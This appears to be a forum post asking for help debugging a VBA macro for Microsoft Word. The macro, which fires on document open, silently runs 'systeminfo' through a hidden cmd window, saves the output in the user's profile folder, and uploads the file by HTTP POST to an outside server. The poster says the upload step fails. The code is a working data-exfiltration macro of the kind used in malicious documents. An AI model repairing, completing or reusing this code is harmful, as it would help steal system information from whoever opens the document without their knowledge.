i'm coding a macro in MS Word to execute a command in cmd and send it to the remote server via POST. I have no expirience in VB so the error could be easy to solve, but i have no idea what i'm doing wrong.
Code:
Sub Run_Cmd(command, visibility, wait_on_execute) Dim WshShell As Variant Set WshShell = CreateObject("WScript.Shell") WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute End Sub Sub Run_Program(program, arguments, visibility, wait_on_execute) Dim WshShell As Variant Set WshShell = CreateObject("WScript.Shell") WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute End Sub Const INVISIBLE = 0 Const WAIT = True Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean) Const STR_BOUNDARY As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113" Dim nFile As Integer Dim baBuffer() As Byte Dim sPostData As String '--- read file nFile = FreeFile Open sPath For Binary Access Read As nFile If LOF(nFile) > 0 Then ReDim baBuffer(0 To LOF(nFile) - 1) As Byte Get nFile, , baBuffer sPostData = StrConv(baBuffer, vbUnicode) MsgBox sPostData End If Close nFile '--- prepare body sPostData = "--" & STR_BOUNDARY & vbCrLf & _"Content-Dis name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _"Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _ sPostData & vbCrLf & _"--" & STR_BOUNDARY & "--" '--- post With CreateObject("Microsoft.XMLHTTP") .Open "POST", sUrl, bAsync .SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY .Send pvToByteArray(sPostData) End With End Sub Function pvToByteArray(sText As String) As Byte() pvToByteArray = StrConv(sText, vbFromUnicode) End Function Sub Workbook_Open() Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT Dim envstring As String envstring = Environ$("USERPROFILE") envstring = envstring & "\temp.txt" pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring End Sub
it's failing on : .Send pvToByteArray(sPostData)